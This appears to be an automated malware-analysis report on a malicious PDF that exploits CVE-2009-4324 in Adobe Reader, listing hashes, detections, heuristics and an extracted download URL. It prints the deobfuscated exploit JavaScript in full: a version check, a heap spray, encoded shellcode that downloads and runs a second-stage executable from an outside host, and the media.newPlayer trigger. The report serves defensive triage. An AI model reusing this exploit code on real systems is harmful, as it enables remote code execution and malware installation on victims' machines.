PDF malware analysis — malicious · 6ccb694b163a882f

MALICIOUS

PDF

2.3 KB

MD5: ff4ba91043a6fe67fe9da844309ed386 SHA-1: 780670068c8626a85400258734a1b506080bcde1 SHA-256: 6ccb694b163a882fa89b4dd962d7393c8298286d0d3877df41145624a6f180ed

418 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains JavaScript that leverages CVE-2009-4324 to execute arbitrary code. The embedded JavaScript, after deobfuscation, contains a URL that is used to download a secondary payload. This is further supported by ClamAV detections indicating an exploit agent and shellcode.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 8

media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324

PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
ClamAV: Pdf.Exploit.Agent-36082 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36082
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://theqopp.info/new_aaa/l.php?i=16 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj111611_000.js` `772da696bdb365f3f1eb4ea6af881baad391be62f3591b19f2f9827fcc4c9b53`	pdf-javascript-stream	PDF /JS object 111611 at offset 0x825	479 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script /5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G//5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G/eval(/5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G//5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G/unescape(/5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G/this.subject.replace(/Hueputol/mig,String.fromCharCode(0x1E+0x7)).replace(/Dalbaeb/mig,'B')/5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G/)/5njn18dfnj4n98nAt <Pgnjq ncyo3q> Vn3nj9njmSdqun4G/);
`legacy_pdfkit_stage_000.js` `c43ed4517f474252e4b4d491d861e6f22d79f3149dc4acc45d59f830765b7174`	deobfuscated-js	repeated-marker hex decoded JavaScript at offset 0x189	2439 bytes
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function a(){util.printd('p@111111111111111111111111 : yyyy111', new Date());}var h = app.plugIns;for (var f=0; f < h.length; f++){if (h[f].name=='EScript'){var i=h[f].version;}}if((i>8.12)&&(i<8.2)){c=new Array();var d = unescape('%u9090%u9090');var e = unescape('%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u742f%u6568%u6f71%u7070%u692e%u666e%u2f6f%u656e%u5f77%u6161%u2f61%u2e6c%u6870%u3f70%u3d69%u3631%u9000');while(d.length <= 0x8000){d+=d;}d=d.substr(0,0x8000 - e.length);for(f=0;f<2900;f++) {c[f]=d + e;}a();a();try {this.media.newPlayer(null);} catch(e) {}a();}

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